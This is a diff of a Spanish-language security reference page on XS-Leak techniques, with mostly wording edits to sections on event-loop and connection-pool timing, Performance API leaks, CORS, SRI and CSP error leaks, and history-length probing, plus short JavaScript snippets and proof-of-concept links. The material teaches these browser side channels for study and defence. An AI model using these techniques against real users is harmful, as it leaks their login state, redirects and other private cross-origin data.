- **Resumen:** Un método para medir el tiempo de ejecución de una operación web implica bloquear intencionalmente el bucle de eventos de un hilo y luego medir **cuánto tiempo tarda el bucle de eventos en estar disponible nuevamente**. Al insertar una operación de bloqueo (como un cálculo largo o una llamada a una API sincrónica) en el bucle de eventos y monitorear el tiempo que tarda en comenzar la ejecución del código subsiguiente, se puede inferir la duración de las tareas que se estaban ejecutando en el bucle de eventos durante el período de bloqueo. Esta técnica aprovecha la naturaleza de un solo hilo del bucle de eventos de JavaScript, donde las tareas se ejecutan secuencialmente, y puede proporcionar información sobre el rendimiento o el comportamiento de otras operaciones que comparten el mismo hilo.
|
||||
- **Ejemplo de Código**:
|
||||
|
||||
Una ventaja significativa de la técnica de medir el tiempo de ejecución bloqueando el bucle de eventos es su potencial para eludir **Site Isolation**. **Site Isolation** es una característica de seguridad que separa diferentes sitios web en procesos separados, con el objetivo de evitar que sitios maliciosos accedan directamente a datos sensibles de otros sitios. Sin embargo, al influir en la temporización de ejecución de otro origen a través del bucle de eventos compartido, un atacante puede extraer indirectamente información sobre las actividades de ese origen. Este método no depende del acceso directo a los datos de otro origen, sino que observa el impacto de las actividades de ese origen en el bucle de eventos compartido, eludiendo así las barreras protectoras establecidas por **Site Isolation**.
|
||||
Una ventaja significativa de la técnica de medir el tiempo de ejecución bloqueando el bucle de eventos es su potencial para eludir **Site Isolation**. **Site Isolation** es una característica de seguridad que separa diferentes sitios web en procesos separados, con el objetivo de evitar que sitios maliciosos accedan directamente a datos sensibles de otros sitios. Sin embargo, al influir en la temporización de ejecución de otro origen a través del bucle de eventos compartido, un atacante puede extraer indirectamente información sobre las actividades de ese origen. Este método no depende del acceso directo a los datos del otro origen, sino que observa el impacto de las actividades de ese origen en el bucle de eventos compartido, eludiendo así las barreras de protección establecidas por **Site Isolation**.
|
||||
|
||||
> [!WARNING]
|
||||
> En una temporización de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
|
||||
@ -263,24 +263,24 @@ Los navegadores utilizan sockets para la comunicación con el servidor, pero deb
|
||||
1. Determinar el límite de sockets del navegador, por ejemplo, 256 sockets globales.
|
||||
2. Ocupando 255 sockets durante un período prolongado iniciando 255 solicitudes a varios hosts, diseñadas para mantener las conexiones abiertas sin completarse.
|
||||
3. Utilizar el socket 256 para enviar una solicitud a la página objetivo.
|
||||
4. Intentar una solicitud 257 a un host diferente. Dado que todos los sockets están en uso (según los pasos 2 y 3), esta solicitud se encolará hasta que un socket esté disponible. La demora antes de que esta solicitud proceda proporciona al atacante información de temporización sobre la actividad de red relacionada con el socket del 256 (el socket de la página objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 aún están ocupados, lo que implica que cualquier socket nuevo disponible debe ser el que se liberó del paso 3. El tiempo que tarda el socket 256 en estar disponible está, por lo tanto, directamente relacionado con el tiempo que se requiere para que la solicitud a la página objetivo se complete.
|
||||
4. Intentar una solicitud 257 a un host diferente. Dado que todos los sockets están en uso (según los pasos 2 y 3), esta solicitud se encolará hasta que un socket esté disponible. El retraso antes de que esta solicitud avance proporciona al atacante información de temporización sobre la actividad de red relacionada con el socket del 256 (el socket de la página objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 aún están ocupados, lo que implica que cualquier socket nuevo disponible debe ser el que se liberó del paso 3. El tiempo que tarda el socket 256 en estar disponible está, por lo tanto, directamente relacionado con el tiempo que se requiere para que la solicitud a la página objetivo se complete.
|
||||
|
||||
Para más info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
Para más información: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
### Pool de Conexiones por Destino
|
||||
|
||||
- **Métodos de Inclusión**: Solicitudes de JavaScript
|
||||
- **Diferencia Detectable**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Más info**:
|
||||
- **Resumen:** Es como la técnica anterior, pero en lugar de usar todos los sockets, **Chrome** pone un límite de **6 solicitudes concurrentes al mismo origen**. Si **bloqueamos 5** y luego **lanzamos una 6ta** solicitud, podemos **temporizarla** y si logramos hacer que la **página víctima envíe** más **solicitudes** al mismo endpoint para detectar un **estado** de la **página**, la **6ta solicitud** tomará **más tiempo** y podemos detectarlo.
|
||||
- **Resumen:** Es como la técnica anterior, pero en lugar de usar todos los sockets, **Chrome** impone un límite de **6 solicitudes concurrentes al mismo origen**. Si **bloqueamos 5** y luego **lanzamos una 6ta** solicitud, podemos **temporizarla** y si logramos hacer que la **página víctima envíe** más **solicitudes** al mismo endpoint para detectar un **estado** de la **página**, la **6ta solicitud** tomará **más tiempo** y podemos detectarlo.
|
||||
|
||||
## Técnicas de API de Rendimiento
|
||||
|
||||
La [`API de Rendimiento`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) ofrece información sobre las métricas de rendimiento de las aplicaciones web, enriquecida aún más por la [`API de Temporización de Recursos`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). La API de Temporización de Recursos permite monitorear los tiempos de las solicitudes de red detalladamente, como la duración de las solicitudes. Notablemente, cuando los servidores incluyen el encabezado `Timing-Allow-Origin: *` en sus respuestas, se vuelve disponible información adicional como el tamaño de transferencia y el tiempo de búsqueda de dominio.
|
||||
La [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) ofrece información sobre las métricas de rendimiento de las aplicaciones web, enriquecida aún más por la [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). La Resource Timing API permite monitorear los tiempos de las solicitudes de red detalladamente, como la duración de las solicitudes. Notablemente, cuando los servidores incluyen el encabezado `Timing-Allow-Origin: *` en sus respuestas, se vuelve disponible información adicional como el tamaño de transferencia y el tiempo de búsqueda de dominio.
|
||||
|
||||
Esta riqueza de datos se puede recuperar a través de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), proporcionando una vista completa de la información relacionada con el rendimiento. Además, la API facilita la medición de los tiempos de ejecución al calcular la diferencia entre las marcas de tiempo obtenidas de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Sin embargo, vale la pena señalar que para ciertas operaciones en navegadores como Chrome, la precisión de `performance.now()` puede estar limitada a milisegundos, lo que podría afectar la granularidad de las mediciones de temporización.
|
||||
Esta riqueza de datos se puede recuperar a través de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), proporcionando una vista completa de la información relacionada con el rendimiento. Además, la API facilita la medición de los tiempos de ejecución calculando la diferencia entre las marcas de tiempo obtenidas de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Sin embargo, vale la pena señalar que para ciertas operaciones en navegadores como Chrome, la precisión de `performance.now()` puede estar limitada a milisegundos, lo que podría afectar la granularidad de las mediciones de temporización.
|
||||
|
||||
Más allá de las mediciones de temporización, la API de Rendimiento puede ser aprovechada para obtener información relacionada con la seguridad. Por ejemplo, la presencia o ausencia de páginas en el objeto `performance` en Chrome puede indicar la aplicación de `X-Frame-Options`. Específicamente, si una página está bloqueada de renderizarse en un marco debido a `X-Frame-Options`, no se registrará en el objeto `performance`, proporcionando una pista sutil sobre las políticas de enmarcado de la página.
|
||||
Más allá de las mediciones de temporización, la Performance API puede ser aprovechada para obtener información relacionada con la seguridad. Por ejemplo, la presencia o ausencia de páginas en el objeto `performance` en Chrome puede indicar la aplicación de `X-Frame-Options`. Específicamente, si una página está bloqueada para renderizarse en un marco debido a `X-Frame-Options`, no se registrará en el objeto `performance`, proporcionando una pista sutil sobre las políticas de enmarcado de la página.
|
||||
|
||||
### Fuga de Errores
|
||||
|
||||
@ -322,17 +322,17 @@ La técnica se encontró en una tabla en el documento mencionado, pero no se enc
|
||||
|
||||
Un atacante puede detectar si una solicitud resultó en un cuerpo de respuesta HTTP vacío porque las **páginas vacías no crean una entrada de rendimiento en algunos navegadores**.
|
||||
|
||||
### **Fuga del Auditor de XSS**
|
||||
### **Fuga del Auditor XSS**
|
||||
|
||||
- **Métodos de Inclusión**: Frames
|
||||
- **Diferencia Detectable**: Contenido de la Página
|
||||
- **Más info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Resumen:** Usando el Auditor de XSS en Aserciones de Seguridad, los atacantes pueden detectar elementos específicos de la página web al observar alteraciones en las respuestas cuando cargas útiles diseñadas activan el mecanismo de filtrado del auditor.
|
||||
- **Resumen:** Usando el Auditor XSS en Aserciones de Seguridad, los atacantes pueden detectar elementos específicos de la página web observando alteraciones en las respuestas cuando cargas útiles diseñadas activan el mecanismo de filtrado del auditor.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
En Aserciones de Seguridad (SA), el Auditor de XSS, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), puede ser explotado paradójicamente para filtrar información sensible. Aunque esta función incorporada fue eliminada de Google Chrome (GC), aún está presente en SA. En 2013, Braun y Heiderich demostraron que el Auditor de XSS podría bloquear inadvertidamente scripts legítimos, llevando a falsos positivos. Basándose en esto, los investigadores desarrollaron técnicas para extraer información y detectar contenido específico en páginas de origen cruzado, un concepto conocido como XS-Leaks, inicialmente reportado por Terada y elaborado por Heyes en una publicación de blog. Aunque estas técnicas eran específicas para el Auditor de XSS en GC, se descubrió que en SA, las páginas bloqueadas por el Auditor de XSS no generan entradas en la API de Rendimiento, revelando un método a través del cual la información sensible podría seguir filtrándose.
|
||||
En Aserciones de Seguridad (SA), el Auditor XSS, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), puede ser explotado paradójicamente para filtrar información sensible. Aunque esta función incorporada fue eliminada de Google Chrome (GC), aún está presente en SA. En 2013, Braun y Heiderich demostraron que el Auditor XSS podría bloquear inadvertidamente scripts legítimos, llevando a falsos positivos. Basándose en esto, los investigadores desarrollaron técnicas para extraer información y detectar contenido específico en páginas de origen cruzado, un concepto conocido como XS-Leaks, inicialmente reportado por Terada y elaborado por Heyes en una publicación de blog. Aunque estas técnicas eran específicas para el Auditor XSS en GC, se descubrió que en SA, las páginas bloqueadas por el Auditor XSS no generan entradas en la API de Rendimiento, revelando un método a través del cual la información sensible podría seguir siendo filtrada.
|
||||
|
||||
### Fuga de X-Frame
|
||||
### Fuga X-Frame
|
||||
|
||||
- **Métodos de Inclusión**: Frames
|
||||
- **Diferencia Detectable**: Encabezado
|
||||
@ -351,7 +351,7 @@ Lo mismo ocurre si usas una etiqueta **embed**.
|
||||
- **Resumen:** Las descargas no crean entradas de temporización de recursos en la API de Rendimiento.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
|
||||
Similar a la fuga de XS descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, tampoco **crea una entrada de rendimiento**. Esta técnica funciona en todos los navegadores principales.
|
||||
Similar a la fuga XS descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, tampoco **crea una entrada de rendimiento**. Esta técnica funciona en todos los navegadores principales.
|
||||
|
||||
### Fuga de Inicio de Redirección
|
||||
|
||||
@ -361,7 +361,7 @@ Similar a la fuga de XS descrita, un **recurso que se descarga** debido al encab
|
||||
- **Resumen:** La entrada de temporización de recursos filtra el tiempo de inicio de una redirección.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
Encontramos una instancia de XS-Leak que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página objetivo, consultando la **API de Rendimiento** y verificando los **datos de temporización de redirectStart**.
|
||||
Encontramos una instancia de fuga XS que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página objetivo, consultando la **API de Rendimiento** y verificando los **datos de temporización de redirectStart**.
|
||||
|
||||
### Fuga de Duración de Redirección
|
||||
|
||||
@ -373,7 +373,7 @@ Encontramos una instancia de XS-Leak que abusa del comportamiento de algunos nav
|
||||
|
||||
En GC, la **duración** para solicitudes que resultan en una **redirección** es **negativa** y puede ser **distingida** de solicitudes que no resultan en una redirección.
|
||||
|
||||
### Fuga de CORP
|
||||
### Fuga CORP
|
||||
|
||||
- **Métodos de Inclusión**: Frames
|
||||
- **Diferencia Detectable**: Encabezado
|
||||
@ -394,7 +394,7 @@ En algunos casos, la entrada **nextHopProtocol** puede ser utilizada como una t
|
||||
Los trabajadores de servicio son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y **almacenar en caché recursos** para crear aplicaciones web fuera de línea.\
|
||||
Si un **recurso almacenado en caché** por un **trabajador de servicio** es accedido a través de **iframe**, el recurso será **cargado desde la caché del trabajador de servicio**.\
|
||||
Para detectar si el recurso fue **cargado desde la caché del trabajador de servicio**, se puede utilizar la **API de Rendimiento**.\
|
||||
Esto también podría hacerse con un ataque de Temporización (consulta el documento para más información).
|
||||
Esto también podría hacerse con un ataque de temporización (consulta el documento para más información).
|
||||
|
||||
### Caché
|
||||
|
||||
@ -404,7 +404,7 @@ Esto también podría hacerse con un ataque de Temporización (consulta el docum
|
||||
- **Resumen:** Es posible verificar si un recurso fue almacenado en la caché.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
|
||||
|
||||
Usando la [API de Rendimiento](./#performance-api) es posible verificar si un recurso está en caché.
|
||||
Usando la [API de Rendimiento](#performance-api) es posible verificar si un recurso está en caché.
|
||||
|
||||
### Duración de la Red
|
||||
|
||||
@ -470,34 +470,34 @@ err.message +
|
||||
audioElement.onerror = errHandler
|
||||
}
|
||||
```
|
||||
La propiedad message de la interfaz `MediaError` identifica de manera única los recursos que se cargan correctamente con una cadena distinta. Un atacante puede explotar esta característica observando el contenido del mensaje, deduciendo así el estado de respuesta de un recurso de origen cruzado.
|
||||
La propiedad message de la interfaz `MediaError` identifica de manera única los recursos que se cargan con éxito mediante una cadena distinta. Un atacante puede explotar esta característica observando el contenido del mensaje, deduciendo así el estado de respuesta de un recurso de origen cruzado.
|
||||
|
||||
### Error de CORS
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Encabezado
|
||||
- **Más info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Resumen:** En las Afirmaciones de Seguridad (SA), los mensajes de error de CORS exponen inadvertidamente la URL completa de las solicitudes redirigidas.
|
||||
- **Resumen:** En las Aserciones de Seguridad (SA), los mensajes de error de CORS exponen inadvertidamente la URL completa de las solicitudes redirigidas.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
Esta técnica permite a un atacante **extraer el destino de una redirección de un sitio de origen cruzado** aprovechando cómo los navegadores basados en Webkit manejan las solicitudes CORS. Específicamente, cuando se envía una **solicitud habilitada para CORS** a un sitio objetivo que emite una redirección basada en el estado del usuario y el navegador posteriormente niega la solicitud, la **URL completa del objetivo de la redirección** se revela dentro del mensaje de error. Esta vulnerabilidad no solo revela el hecho de la redirección, sino que también expone el punto final de la redirección y cualquier **parámetro de consulta sensible** que pueda contener.
|
||||
Esta técnica permite a un atacante **extraer el destino de la redirección de un sitio de origen cruzado** aprovechando cómo los navegadores basados en Webkit manejan las solicitudes CORS. Específicamente, cuando se envía una **solicitud habilitada para CORS** a un sitio objetivo que emite una redirección basada en el estado del usuario y el navegador posteriormente niega la solicitud, la **URL completa del objetivo de la redirección** se revela dentro del mensaje de error. Esta vulnerabilidad no solo revela el hecho de la redirección, sino que también expone el punto final de la redirección y cualquier **parámetro de consulta sensible** que pueda contener.
|
||||
|
||||
### Error de SRI
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Encabezado
|
||||
- **Más info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Resumen:** En las Afirmaciones de Seguridad (SA), los mensajes de error de CORS exponen inadvertidamente la URL completa de las solicitudes redirigidas.
|
||||
- **Resumen:** En las Aserciones de Seguridad (SA), los mensajes de error de CORS exponen inadvertidamente la URL completa de las solicitudes redirigidas.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||||
|
||||
Un atacante puede explotar **mensajes de error verbosos** para deducir el tamaño de las respuestas de origen cruzado. Esto es posible debido al mecanismo de Integridad de Subrecursos (SRI), que utiliza el atributo de integridad para validar que los recursos recuperados, a menudo de CDNs, no han sido manipulados. Para que SRI funcione en recursos de origen cruzado, estos deben estar **habilitados para CORS**; de lo contrario, no están sujetos a verificaciones de integridad. En las Afirmaciones de Seguridad (SA), al igual que el error de CORS XS-Leak, se puede capturar un mensaje de error después de que una solicitud de recuperación con un atributo de integridad falla. Los atacantes pueden **provocar deliberadamente este error** asignando un **valor de hash falso** al atributo de integridad de cualquier solicitud. En SA, el mensaje de error resultante revela inadvertidamente la longitud del contenido del recurso solicitado. Esta fuga de información permite a un atacante discernir variaciones en el tamaño de la respuesta, allanando el camino para ataques sofisticados de XS-Leak.
|
||||
Un atacante puede explotar **mensajes de error verbosos** para deducir el tamaño de las respuestas de origen cruzado. Esto es posible debido al mecanismo de Integridad de Subrecursos (SRI), que utiliza el atributo de integridad para validar que los recursos recuperados, a menudo de CDNs, no han sido manipulados. Para que SRI funcione en recursos de origen cruzado, estos deben estar **habilitados para CORS**; de lo contrario, no están sujetos a verificaciones de integridad. En las Aserciones de Seguridad (SA), al igual que el error de CORS XS-Leak, se puede capturar un mensaje de error después de que una solicitud de recuperación con un atributo de integridad falla. Los atacantes pueden **provocar deliberadamente este error** asignando un **valor de hash falso** al atributo de integridad de cualquier solicitud. En SA, el mensaje de error resultante revela inadvertidamente la longitud del contenido del recurso solicitado. Esta fuga de información permite a un atacante discernir variaciones en el tamaño de la respuesta, allanando el camino para ataques sofisticados de XS-Leak.
|
||||
|
||||
### Violación/Detección de CSP
|
||||
|
||||
- **Métodos de Inclusión**: Ventanas emergentes
|
||||
- **Diferencia Detectable**: Código de Estado
|
||||
- **Más info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
||||
- **Resumen:** Permitir solo el sitio web de las víctimas en el CSP si se accede a él intenta redirigir a un dominio diferente, el CSP generará un error detectable.
|
||||
- **Resumen:** Permitir solo el sitio web de la víctima en el CSP si se accede a él intenta redirigir a un dominio diferente, el CSP generará un error detectable.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
Un XS-Leak puede usar el CSP para detectar si un sitio de origen cruzado fue redirigido a un origen diferente. Esta fuga puede detectar la redirección, pero además, el dominio del objetivo de la redirección se filtra. La idea básica de este ataque es **permitir el dominio objetivo en el sitio del atacante**. Una vez que se emite una solicitud al dominio objetivo, este **redirige** a un dominio de origen cruzado. **CSP bloquea** el acceso a él y crea un **informe de violación utilizado como técnica de fuga**. Dependiendo del navegador, **este informe puede filtrar la ubicación objetivo de la redirección**.\
|
||||
@ -523,7 +523,7 @@ Si una página carga una imagen solo si el usuario ha iniciado sesión, puedes *
|
||||
- **Resumen:** Las directivas de encabezado CSP pueden ser sondeadas utilizando el atributo iframe de CSP, revelando detalles de la política.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
||||
|
||||
Una nueva característica en Google Chrome (GC) permite a las páginas web **proponer una Política de Seguridad de Contenido (CSP)** estableciendo un atributo en un elemento iframe, con directivas de política transmitidas junto con la solicitud HTTP. Normalmente, el contenido incrustado debe **autorizar esto a través de un encabezado HTTP**, o se **muestra una página de error**. Sin embargo, si el iframe ya está gobernado por un CSP y la nueva política propuesta no es más restrictiva, la página se cargará normalmente. Este mecanismo abre un camino para que un atacante **detecte directivas CSP específicas** de una página de origen cruzado al identificar la página de error. Aunque esta vulnerabilidad fue marcada como corregida, nuestros hallazgos revelan una **nueva técnica de fuga** capaz de detectar la página de error, sugiriendo que el problema subyacente nunca fue completamente abordado.
|
||||
Una nueva característica en Google Chrome (GC) permite a las páginas web **proponer una Política de Seguridad de Contenido (CSP)** estableciendo un atributo en un elemento iframe, con directivas de política transmitidas junto con la solicitud HTTP. Normalmente, el contenido incrustado debe **autorizar esto a través de un encabezado HTTP**, o se **muestra una página de error**. Sin embargo, si el iframe ya está gobernado por un CSP y la política propuesta no es más restrictiva, la página se cargará normalmente. Este mecanismo abre un camino para que un atacante **detecte directivas CSP específicas** de una página de origen cruzado al identificar la página de error. Aunque esta vulnerabilidad fue marcada como corregida, nuestros hallazgos revelan una **nueva técnica de fuga** capaz de detectar la página de error, sugiriendo que el problema subyacente nunca fue completamente abordado.
|
||||
|
||||
### **CORP**
|
||||
|
||||
@ -558,7 +558,7 @@ Ten en cuenta que si el origen no se refleja pero se usa un comodín (`Access-Co
|
||||
|
||||
## Técnica de Atributos Legibles
|
||||
|
||||
### Redirección de Fetch
|
||||
### Redirección Fetch
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Diferencia Detectable**: Código de Estado
|
||||
@ -588,10 +588,10 @@ Un atacante es capaz de deducir la presencia del encabezado de la Política de A
|
||||
|
||||
Si una redirección del lado del servidor utiliza **entrada del usuario dentro de la redirección** y **datos adicionales**. Es posible detectar este comportamiento porque generalmente **los servidores** tienen un **límite de longitud de solicitud**. Si los **datos del usuario** son esa **longitud - 1**, porque la **redirección** está utilizando **esos datos** y **agregando** algo **extra**, se generará un **error detectable a través de Eventos de Error**.
|
||||
|
||||
Si de alguna manera puedes establecer cookies para un usuario, también puedes realizar este ataque **estableciendo suficientes cookies** ([**bomba de cookies**](../hacking-with-cookies/cookie-bomb.md)) para que con el **aumento del tamaño de la respuesta** de la **respuesta correcta** se genere un **error**. En este caso, recuerda que si activas esta solicitud desde un mismo sitio, `<script>` enviará automáticamente las cookies (así que puedes verificar errores).\
|
||||
Si de alguna manera puedes establecer cookies para un usuario, también puedes realizar este ataque **estableciendo suficientes cookies** ([**bomba de cookies**](../hacking-with-cookies/cookie-bomb.md)), así que con el **aumento del tamaño de la respuesta** de la **respuesta correcta** se genera un **error**. En este caso, recuerda que si activas esta solicitud desde un mismo sitio, `<script>` enviará automáticamente las cookies (así que puedes verificar errores).\
|
||||
Un ejemplo de la **bomba de cookies + XS-Search** se puede encontrar en la solución prevista de este informe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
|
||||
`SameSite=None` o estar en el mismo contexto generalmente se necesita para este tipo de ataque.
|
||||
`SameSite=None` o estar en el mismo contexto suele ser necesario para este tipo de ataque.
|
||||
|
||||
### Longitud Máxima de URL - Lado del Cliente
|
||||
|
||||
@ -630,11 +630,11 @@ Si el **número máximo** de **redirecciones** a seguir de un navegador es **20*
|
||||
- **Métodos de Inclusión**: Marcos, Ventanas emergentes
|
||||
- **Diferencia Detectable**: Redirecciones
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
||||
- **Resumen:** El código JavaScript manipula el historial del navegador y se puede acceder a través de la propiedad de longitud.
|
||||
- **Resumen:** El código JavaScript manipula el historial del navegador y se puede acceder a él mediante la propiedad length.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||||
|
||||
La **API de Historial** permite al código JavaScript manipular el historial del navegador, que **guarda las páginas visitadas por un usuario**. Un atacante puede usar la propiedad de longitud como un método de inclusión: para detectar navegación de JavaScript y HTML.\
|
||||
**Verificando `history.length`**, haciendo que un usuario **navegue** a una página, **cambiando** de nuevo a la misma origen y **verificando** el nuevo valor de **`history.length`**.
|
||||
La **API de Historial** permite al código JavaScript manipular el historial del navegador, que **guarda las páginas visitadas por un usuario**. Un atacante puede usar la propiedad length como un método de inclusión: para detectar navegación de JavaScript y HTML.\
|
||||
**Verificando `history.length`**, haciendo que un usuario **navegue** a una página, **cambiándola** **de nuevo** al mismo origen y **verificando** el nuevo valor de **`history.length`**.
|
||||
|
||||
### Longitud del Historial con la misma URL
|
||||
|
||||
@ -643,7 +643,7 @@ La **API de Historial** permite al código JavaScript manipular el historial del
|
||||
- **Resumen:** Es posible adivinar si la ubicación de un marco/ventana emergente está en una URL específica abusando de la longitud del historial.
|
||||
- **Ejemplo de Código**: A continuación
|
||||
|
||||
Un atacante podría usar código JavaScript para **manipular la ubicación del marco/ventana emergente a una adivinada** y **inmediatamente** **cambiarla a `about:blank`**. Si la longitud del historial aumentó, significa que la URL era correcta y tuvo tiempo para **aumentar porque la URL no se recarga si es la misma**. Si no aumentó, significa que **intentó cargar la URL adivinada** pero porque **inmediatamente después** cargó **`about:blank`**, la **longitud del historial nunca aumentó** al cargar la URL adivinada.
|
||||
Un atacante podría usar código JavaScript para **manipular la ubicación del marco/ventana emergente a una adivinada** y **inmediatamente** **cambiarla a `about:blank`**. Si la longitud del historial aumentó, significa que la URL era correcta y tuvo tiempo para **aumentar porque la URL no se recarga si es la misma**. Si no aumentó, significa que **intentó cargar la URL adivinada**, pero porque **inmediatamente después** cargó **`about:blank`**, la **longitud del historial nunca aumentó** al cargar la URL adivinada.
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -682,14 +682,14 @@ Un ejemplo de esta técnica es que en Chrome, un **PDF** puede ser **detectado**
|
||||
- **Resumen:** Lee el valor filtrado para distinguir entre 2 posibles estados
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
|
||||
La filtración de información a través de elementos HTML es una preocupación en la seguridad web, particularmente cuando se generan archivos de medios dinámicos basados en la información del usuario, o cuando se añaden marcas de agua, alterando el tamaño del medio. Esto puede ser explotado por atacantes para diferenciar entre posibles estados analizando la información expuesta por ciertos elementos HTML.
|
||||
La filtración de información a través de elementos HTML es una preocupación en la seguridad web, particularmente cuando se generan archivos multimedia dinámicos basados en la información del usuario, o cuando se añaden marcas de agua, alterando el tamaño del medio. Esto puede ser explotado por atacantes para diferenciar entre posibles estados analizando la información expuesta por ciertos elementos HTML.
|
||||
|
||||
### Información Expuesta por Elementos HTML
|
||||
|
||||
- **HTMLMediaElement**: Este elemento revela la `duración` y los tiempos `buffered` del medio, que se pueden acceder a través de su API. [Lee más sobre HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: Expone `videoHeight` y `videoWidth`. En algunos navegadores, propiedades adicionales como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` y `webkitDecodedFrameCount` están disponibles, ofreciendo información más detallada sobre el contenido del medio. [Lee más sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **HTMLVideoElement**: Expone `videoHeight` y `videoWidth`. En algunos navegadores, propiedades adicionales como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` y `webkitDecodedFrameCount` están disponibles, ofreciendo información más detallada sobre el contenido multimedia. [Lee más sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: Esta función proporciona detalles sobre la calidad de reproducción de video, incluyendo `totalVideoFrames`, que puede indicar la cantidad de datos de video procesados. [Lee más sobre getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
